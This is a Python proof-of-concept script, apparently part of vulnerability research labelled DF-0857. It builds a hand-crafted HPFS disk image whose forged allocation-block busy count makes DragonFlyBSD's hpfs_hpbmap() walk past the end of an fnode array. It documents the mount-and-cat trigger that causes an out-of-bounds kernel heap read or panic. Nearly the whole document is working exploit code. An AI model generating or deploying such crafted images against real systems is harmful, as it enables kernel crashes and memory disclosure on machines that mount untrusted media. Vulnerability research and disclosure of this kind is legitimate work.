#!/usr/bin/env python3
"""
DF-0857 — Hand-crafted minimal HPFS image to trigger the ab_busycnt OOB
read in hpfs_hpbmap() end-to-end on the DragonFlyBSD guest.

The image is laid out as follows (sector size = 512B, DEV_BSIZE):

  LSN     contents
  ----    ---------------------------------------------------------------
  0x00    boot sector (zeros)
  0x10    SuperBlock   (magic FA53E9C5F995E849; rootfno=0x20; btotal=0x80;
                        su_bitmap.lsn1=0x30)
  0x11    SpareBlock   (magic FA5229C5F9911849; sp_cpinum=0)
  0x20    root fnode   (VDIR; fn_ab: busycnt=1, leaf; alleaf[0]={0,1,0x40})
  0x30    bitmap dir   (one u32 = 0x38, the bitmap sector)
  0x38    bitmap       (4KB = 8 sectors; mark used sectors)
  0x40    dirblk       (4 sectors = 2KB; D_MAGIC=77E40AAE; one dirent "FILE"
                        → fnode LSN=0x48)
  0x48    file fnode   (VREG; fn_size=0x1000; FORGED fn_ab: busycnt=255,
                        leaf; alleaf[0]={0,4,0x50})
  0x50    file data    (4 sectors = 2KB of 'A')

Mount:  mount_hpfs -o ro /dev/vnX /mnt
Trigger (as unpriv user): cat /mnt/FILE
        → hpfs_read → hpfs_hpbmap → loop at hpfs_alsubr.c:114 walks
          255 alleaf_t's past fn_abd[0x60] → OOB heap read / panic
"""
import struct, sys, os

SECTOR = 512
# magics
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE

# struct fnode offsets (computed manually, matches hpfs.h layout on amd64):
FN_OFF_MAGIC   = 0x00  # u32
FN_OFF_HIST    = 0x08  # u64 readhist
FN_OFF_NAMELEN = 0x10  # u8
FN_OFF_NAME    = 0x11  # char[15]
FN_OFF_PARENT  = 0x20  # lsn_t u32
FN_OFF_ACL     = 0x24  # sptr_t (cnt u32 + lsn u32) = 8
FN_OFF_ACLLEN  = 0x2C  # u16
FN_OFF_ACLFLG  = 0x2E  # u8
FN_OFF_HISTBC  = 0x2F  # u8
FN_OFF_EXTEA   = 0x30  # sptr_t 8
FN_OFF_EALEN   = 0x38  # u16
FN_OFF_EXTEAFLG= 0x3A  # u8
FN_OFF_FLAG    = 0x3B  # u8   (nonzero => VDIR)
FN_OFF_AB      = 0x3C  # alblk_t 8 bytes: flag,res[3],freecnt,busycnt,freeoff(u16)
FN_OFF_ABD     = 0x44  # u8[0x60]  (96)
FN_OFF_SIZE    = 0xA4  # u32  (offset = 0x44 + 0x60 = 0xA4)
# alblk_t internal layout
AB_OFF_FLAG     = 0
AB_OFF_FREECNT  = 4
AB_OFF_BUSYCNT  = 5
AB_OFF_FREEOFF  = 6  # u16

def build_image(outpath, forged_busycnt=255):
    size = 0x80 * SECTOR
    img = bytearray(size)

    def wr32(off, v): struct.pack_into('<I', img, off, v & 0xFFFFFFFF)
    def wr64(off, v): struct.pack_into('<Q', img, off, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(off, v): struct.pack_into('<H', img, off, v & 0xFFFF)
    def wr8 (off, v): img[off] = v & 0xFF

    # ---- Boot sector (sector 0): minimal JMP + 0x55AA ----
    img[0] = 0xEB
    wr16(SECTOR-2, 0xAA55)

    # ---- SuperBlock @ 0x10 (sector = 0x2000) ----
    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC)
    wr8 (su + 8, 2)              # su_hpfsver
    wr8 (su + 9, 0)              # su_fnctver
    wr16(su + 10, 0)             # unused
    wr32(su + 12, 0x20)          # su_rootfno
    wr32(su + 16, 0x80)          # su_btotal (128 sectors)
    wr32(su + 20, 0)             # su_badbtotal
    # su_bitmap (rsp_t at offset 24): lsn1, lsn2
    wr32(su + 24, 0x30)          # su_bitmap.lsn1
    wr32(su + 28, 0x30)          # su_bitmap.lsn2
    # su_badbl (rsp_t at offset 32)
    wr32(su + 32, 0); wr32(su + 36, 0)
    # leave the rest zero

    # ---- SpareBlock @ 0x11 ----
    sp = 0x11 * SECTOR
    wr64(sp + 0, SP_MAGIC)

    # ---- Bitmap directory @ 0x30 (one u32 = 0x38) ----
    bd = 0x30 * SECTOR
    wr32(bd, 0x38)               # hpmp->hpm_bmind[0] = bitmap sector 0x38

    # ---- Bitmap @ 0x38 (4KB = 8 sectors). Mark used sectors 0..0x37 ----
    bm = 0x38 * SECTOR
    # btotal = 0x80 sectors.  Bitmap has 1 bit per sector. Mark sectors 0..0x3F used (cleared bit),
    # sectors 0x40..0x7F free (set bit). Bits are stored little-endian within u32 words.
    # Actually convention: bit SET = sector FREE.  We mark all the metadata sectors 0..0x37 as used.
    for i in range(0x40):
        byte = bm + (i >> 3)
        img[byte] &= ~(1 << (i & 7))
    for i in range(0x40, 0x80):
        byte = bm + (i >> 3)
        img[byte] |=  (1 << (i & 7))

    # ---- Root fnode @ 0x20 (VDIR) ----
    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr64(rf + FN_OFF_HIST,  0)
    wr8 (rf + FN_OFF_NAMELEN, 1)
    img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)   # self-parent for root
    wr32(rf + FN_OFF_FLAG, 1)        # VDIR  (nonzero fn_flag)
    # fn_ab: leaf, busycnt=1, freecnt=7, freeoff=8+12=20
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0    # leaf
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    # alleaf[0] in fn_abd: al_off=0, al_len=1, al_lsn=0x40 (the dirblk)
    wr32(rf + FN_OFF_ABD + 0,  0)       # al_off
    wr32(rf + FN_OFF_ABD + 4,  1)       # al_len
    wr32(rf + FN_OFF_ABD + 8,  0x40)    # al_lsn  → dirblk
    wr32(rf + FN_OFF_SIZE, 4 * SECTOR)  # fn_size for dir

    # ---- Dirblk @ 0x40 (4 sectors = 2KB). D_BSIZE = 2048 ----
    db = 0x40 * SECTOR
    wr32(db + 0, D_MAGIC)              # d_magic
    wr32(db + 4, 0x50)                 # d_freeoff (first free byte; filled below)
    wr32(db + 8, 0)                    # d_chcnt
    wr32(db + 12, 0x20)                # d_parent (root fnode)
    wr32(db + 16, 0x40)                # d_self
    # First hpfsdirent @ offset 20 (sizeof dirblk_t = 20).
    # NOTE: on DragonFly amd64, u_long is 8 bytes AND 8-byte-aligned, so the
    # in-kernel struct hpfsdirent layout has 4 bytes of padding between
    # de_size (u32) and de_atime (u_long). The kernel casts bytes from the
    # dirblk to (struct hpfsdirent *), so we must format the dirent to match
    # DragonFly's own struct layout (NOT the OS/2 on-disk layout):
    #   0x00 de_reclen    u16
    #   0x02 de_flag      u16
    #   0x04 de_fnode     lsn_t (u32)
    #   0x08 de_mtime     u_long (u64 on amd64)
    #   0x10 de_size      u32
    #   0x14 -- pad 4 bytes for u_long alignment of de_atime --
    #   0x18 de_atime     u_long (u64)
    #   0x20 de_ctime     u_long (u64)
    #   0x28 de_ealen     u32
    #   0x2c de_flexflag  u8
    #   0x2d de_cpid      u8
    #   0x2e de_namelen   u8
    #   0x2f de_name[namelen]
    # then padded so de_reclen is a multiple of 4; if DE_DOWN, last 4 bytes
    # of the dirent are the down lsn. We don't set DE_DOWN.
    name = b'FILE'
    de1_hdr = 0x2f                       # up to de_name[0]
    de1_reclen = de1_hdr + len(name)
    de1_reclen = (de1_reclen + 3) & ~3   # 4-byte align
    dep = db + 20
    wr16(dep + 0x00, de1_reclen)
    wr16(dep + 0x02, 0)                  # flag: not special/down/end
    wr32(dep + 0x04, 0x48)               # de_fnode → file fnode
    wr64(dep + 0x08, 0)                  # de_mtime u64
    wr32(dep + 0x10, 0x1000)             # de_size
    wr64(dep + 0x18, 0)                  # de_atime u64 (after 4-byte pad)
    wr64(dep + 0x20, 0)                  # de_ctime u64
    wr32(dep + 0x28, 0)                  # de_ealen
    img[dep + 0x2c] = 0                  # flexflag
    img[dep + 0x2d] = 0                  # cpid
    img[dep + 0x2e] = len(name)          # namelen
    for i in range(len(name)):
        img[dep + 0x2f + i] = name[i]
    # End dirent: just DE_END flag, reclen to fill the rest of dirblk
    dep2 = dep + de1_reclen
    end_reclen = 4 * SECTOR - (dep2 - db)  # rest of the 2KB dirblk
    wr16(dep2 + 0x00, end_reclen)
    wr16(dep2 + 0x02, 0x08)              # DE_END
    # fix d_freeoff (relative to dirblk start)
    wr32(db + 4, (dep2 + 4) - db)

    # ---- File fnode @ 0x48 (VREG; FORGED ab_busycnt=255) ----
    ff = 0x48 * SECTOR
    wr32(ff + FN_OFF_MAGIC, FN_MAGIC)
    wr32(ff + FN_OFF_PARENT, 0x20)     # parent = root dir
    wr8 (ff + FN_OFF_NAMELEN, 4)
    img[ff + FN_OFF_NAME + 0] = ord('F')
    img[ff + FN_OFF_NAME + 1] = ord('I')
    img[ff + FN_OFF_NAME + 2] = ord('L')
    img[ff + FN_OFF_NAME + 3] = ord('E')
    wr32(ff + FN_OFF_FLAG, 0)          # VREG (fn_flag=0)
    # FORGED alblk: leaf, busycnt=forged_busycnt, freecnt=0, freeoff=8+12
    img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0
    img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = forged_busycnt  # <-- FORGED
    wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    # alleaf[0] in fn_abd: al_off=0, al_len=4, al_lsn=0x50 (file data)
    wr32(ff + FN_OFF_ABD + 0,  0)
    wr32(ff + FN_OFF_ABD + 4,  4)
    wr32(ff + FN_OFF_ABD + 8,  0x50)
    # poison subsequent alleaf entries so the OOB read has identifiable bytes
    for k in range(1, 16):  # fill rest of fn_abd with marker pattern
        off = ff + FN_OFF_ABD + k*12
        if off + 12 <= ff + FN_OFF_ABD + 0x60:
            wr32(off + 0, 0xDEADBEEF)
            wr32(off + 4, 0xCAFEBABE)
            wr32(off + 8, 0xFEEDFACE)
    wr32(ff + FN_OFF_SIZE, 0x10000)     # fn_size = 64KB >> 4-block extent, so
                                        # blocks 4..127 trigger the OOB walk
                                        # in hpfs_hpbmap (bn not matching any
                                        # in-bounds alleaf)

    # ---- File data @ 0x50 (4 sectors = 2KB of 'A') ----
    fd = 0x50 * SECTOR
    img[fd:fd+4*SECTOR] = b'A' * (4*SECTOR)

    with open(outpath, 'wb') as f:
        f.write(img)
    print(f"wrote {outpath}: {len(img)} bytes; forged_busycnt={forged_busycnt}")

if __name__ == '__main__':
    n = int(sys.argv[2], 0) if len(sys.argv) > 2 else 255
    build_image(sys.argv[1] if len(sys.argv) > 1 else 'df857.img', forged_busycnt=n)
